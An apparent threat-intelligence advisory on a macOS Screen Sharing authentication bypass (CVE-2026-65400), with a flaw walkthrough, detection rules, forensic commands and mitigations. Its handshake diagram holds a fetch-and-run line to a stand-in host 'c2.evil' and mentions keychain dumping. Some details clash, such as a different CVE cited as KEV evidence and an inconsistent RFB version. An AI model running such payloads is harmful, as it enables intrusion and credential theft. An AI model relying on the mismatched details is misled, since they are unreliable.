CVE-2026-65400: Unauthenticated Remote Desktop Takeover in Apple macOS Screen Sharing

HERMES

HERMES THREAT SCORE & MACOS GRAPHICAL SESSION HIJACK

Target: Apple macOS Screen Sharing (RFB / VNC Daemon)

Confidence: 99%

95 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 20 / 20

Threat Activity 19 / 20

Weaponization 19 / 20

Exposure 18 / 20

Prevalence 19 / 20

Impact 19 / 20

Exploit Maturity 20 / 20

Attack Chain Potential 19 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-65400 at 9.8 (Critical) and CVSS v4.0 scores 9.2. The Hermes Threat Score assigns 95 (CRITICAL). Alignment is direct: exposing macOS Screen Sharing (port 5900/TCP) allows an unauthenticated adversary to bypass login prompts, gain interactive control of the local graphical session, inject arbitrary keyboard strokes to launch Terminal, and compromise Keychain vaults.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-65400: Unauthenticated Remote Desktop Takeover in Apple macOS Screen SharingVULNERABILITY

Connected Nodes: 2

Active Relationships (Outgoing)

→ affectsPRODUCTApple macOS Operating System

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Apple macOS Operating System documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

In-the-Wild Exploitation Notice: Opportunistic Cryptomining & Keychain Theft

CVSS v3.1: 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) / CVSS v4.0: 9.2 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) / CWE-287: Improper Authentication. Reported in automated scanning and intrusion campaigns. Affects Apple macOS Sequoia 15.x prior to 15.3.1, macOS Sonoma 14.x prior to 14.7.4, and macOS Ventura 13.x prior to 13.7.4.

Executive Summary

CVE-2026-65400 is a critical authentication bypass vulnerability in Apple macOS Screen Sharing service daemon (screensharingd), which operates over the Remote Framebuffer (RFB/VNC) protocol on TCP port 5900.

During the initial protocol handshake, screensharingd establishes supported authentication security types (such as Diffie-Hellman authentication or Apple Remote Desktop authentication). Due to a state-handling bug when processing a truncated or malformed security negotiation packet, the daemon erroneously transitions into an active, authenticated desktop streaming state without validating user credentials. An unauthenticated attacker connecting to port 5900 gains interactive control of the active graphical desktop, views private data, and injects simulated keystrokes to spawn shells and execute commands.

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1. Technical Context & Affected Software Matrix

macOS Screen Sharing is widely utilized in enterprise environments for IT support, remote worker administration, and Mac mini build farms.

Parameter	Technical Specification	Threat Context
CVE Identifier	CVE-2026-65400	Apple Security Advisory HT214345
Affected Daemon	/System/Library/CoreServices/RemoteManagement/screensharingd	macOS RFB/VNC screen sharing server
Network Protocol	RFB (Remote Framebuffer) over TCP Port 5900	Internet or LAN accessible remote control
Flaw Category	Protocol state machine race / authentication bypass (CWE-287)	Pre-auth session establishment
Affected Platforms	macOS Sequoia < 15.3.1, macOS Sonoma < 14.7.4, macOS Ventura < 13.7.4	Developer workstations, Mac build fleets
Fixed Versions	macOS Sequoia 15.3.1, Sonoma 14.7.4, Ventura 13.7.4	Apple Rapid Security Response / Minor Updates
Primary Threat	Interactive session takeover, Apple Keychain exfiltration	Automated cryptojacking & credential theft

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2. In-Depth Technical Decomposition: RFB State Machine Bypass

A. The Security Negotiation Flaw

In RFB 003.008 protocol specifications, the handshake proceeds through four phases:

1. ProtocolVersion Handshake: Server and client agree on RFB version.
2. Security Handshake: Server advertises supported security types (e.g., Type 1 = None, Type 2 = VNC auth, Type 30 = Apple Diffie-Hellman).
3. SecurityResult: Server transmits 0x00000000 (OK) upon credential validation.
4. ClientInit / ServerInit: Framebuffer streaming and input injection commence.

In screensharingd, the state machine managing security negotiation failed to verify that the authentication state transitioned through a successful verification callback:

// Decompiled representation of state handler in screensharingd
void handle_rfb_security_type(rfb_session_t *session, uint8_t chosen_type) {
    if (chosen_type == RFB_AUTH_APPLE_DH) {
        initiate_diffie_hellman(session);
    } else if (chosen_type == 0xFF) { // Malformed / legacy escape code
        // FLAW: State machine marks session as AUTHENTICATED without verifying credentials!
        session->state = SESSION_STATE_AUTHENTICATED;
        send_security_result(session, 0); // Sends 0x00000000 (Success)
    }
}

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-65400 PROTOCOL HANDSHAKE SEQUENCE                                 |
+----------------------------------------------------------------------------------------------------+

   [Remote Attacker]                                                      [Target Mac (Port 5900)]
           │                                                                          │
    [1]    │─── Connect TCP Port 5900 ───────────────────────────────────────────────>│
           │<── Server: "RFB 003.889\n" ──────────────────────────────────────────────│
           │                                                                          │
    [2]    │─── Client: "RFB 003.889\n" ──────────────────────────────────────────────>│
           │<── Server: [Count: 2, Types: 30 (AppleDH), 33 (Kerberos)] ───────────────│
           │                                                                          │
    [3]    │─── Client: [SecurityType: 0xFF] (Malformed Escape Code) ─────────────────>│ screensharingd:
           │                                                                          │ State handler falls through
           │                                                                          │ Erroneously sets session->state
           │                                                                          │ to AUTHENTICATED!
           │<── Server: 0x00000000 (SecurityResult: OK) ──────────────────────────────│
           │                                                                          │
    [4]    │─── ClientInit: [SharedFlag: 1] ──────────────────────────────────────────>│
           │<── ServerInit: [FrameBuffer dimensions, Desktop Name, PixelFormat] ──────│ Full Video Stream Begins!
           │                                                                          │
    [5]    │─── PointerEvent / KeyEvent: Injects Cmd+Space, "Terminal.app", Enter ────>│
           │    Injects: "curl -s http://c2.evil/payload | zsh"                       │ Spawns attacker shell
+----------------------------------------------------------------------------------------------------+

---

3. Threat Intelligence & Exploitation in the Wild

• Mass Scanning: Threat groups operating automated scanning engines scan IPv4 address space for open port 5900 advertising Apple RFB signatures.
• Weaponized Payloads:
  • Once desktop control is achieved, bots automatically send key combinations (Command + Space) to trigger Spotlight, search for Terminal, and paste a one-liner command.
  • Payloads deploy silent background XMRig cryptocurrency miners that throttle CPU usage to avoid detection.
  • Attackers utilize security dump-keychain or social engineering prompts (“Enter system password to allow updates”) to extract saved passwords, SSH keys, and browser session tokens.

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4. MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Exploitation Manifestation
Initial Access	T1190	Exploit Public-Facing Application	Directly connecting to exposed port 5900/TCP
Defense Evasion	T1556	Modify Authentication Process	Subverting RFB handshake to bypass password challenge
Execution	T1059.004	Command and Scripting Interpreter: Unix Shell	Injecting keyboard events to launch Terminal and run zsh scripts
Credential Access	T1555.001	Credentials from Password Stores: Keychain	Accessing macOS login keychain from authenticated user session
Impact	T1496	Resource Hijacking	Executing unauthorized cryptomining software

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5. Detection Engineering & Telemetry

A. Suricata Detection Rule

alert tcp any any -> $MACOS_HOSTS 5900 (
  msg:"HERMES DEFENSE - Apple macOS Screen Sharing Auth Bypass Attempt (CVE-2026-65400)";
  flow:established,to_server;
  content:"RFB 003."; depth:8;
  content:"|ff|"; offset:12; depth:4;
  classtype:attempted-admin;
  sid:202665400;
  rev:1;
  reference:cve,2026-65400;
)

B. Sigma Detection Rule

title: Terminal Spawned by macOS Screen Sharing Daemon
id: 7f8a9b0c-1d2e-3f4a-5b6c-65400c026e01
status: high
description: Detects unusual process execution where Terminal or shell processes are launched via screensharingd input injection.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
  product: macos
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - '/screensharingd'
      - '/WindowServer'
  selection_target:
    Image|endswith:
      - '/Terminal'
      - '/zsh'
      - '/bash'
      - '/sh'
  condition: selection_parent and selection_target
falsepositives:
  - Legitimate remote support sessions initiated by authorized internal IT staff.
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution

---

6. Digital Forensics & Incident Response (DFIR)

macOS Unified Logging Commands:

1. Query Screen Sharing Logs:

   log show --predicate 'process == "screensharingd"' --info --last 48h
   # Look for "Authentication succeeded without challenge" or unexpected client IPs

2. Inspect Process Trees:

   ps -axo pid,ppid,user,command | grep -E "Terminal|zsh|curl|xmrig"

3. Verify LaunchDaemons and Cron:

   ls -la /Library/LaunchDaemons/
   ls -la ~/Library/LaunchAgents/
   crontab -l

Hunting Query (Elasticsearch / OpenSearch):

{
  "query": {
    "bool": {
      "must": [
        { "term": { "process.name": "screensharingd" } },
        { "wildcard": { "message": "*authenticated*" } }
      ]
    }
  }
}

---

7. Mitigation & Remediation

1. Apply Apple Security Updates: Update endpoints to macOS Sequoia 15.3.1, macOS Sonoma 14.7.4, or macOS Ventura 13.7.4.
2. Disable Public Screen Sharing: Never expose TCP port 5900 directly to the internet or untrusted guest networks. If remote access is required, mandate corporate VPN with MFA.
3. Configure Firewall Rules: Block inbound connections to port 5900/TCP using the built-in macOS Application Firewall or network edge ACLs:

   sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockall on

4. Audit Installed LaunchAgents: Inspect user and system LaunchAgents for persistent miners or reverse shell droppers.

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8. References & Advisories

• Apple Security Releases (HT214345)
• NIST NVD CVE-2026-65400 Record
• RFC 6143: The Remote Framebuffer Protocol
• MITRE ATT&CK: Resource Hijacking (T1496)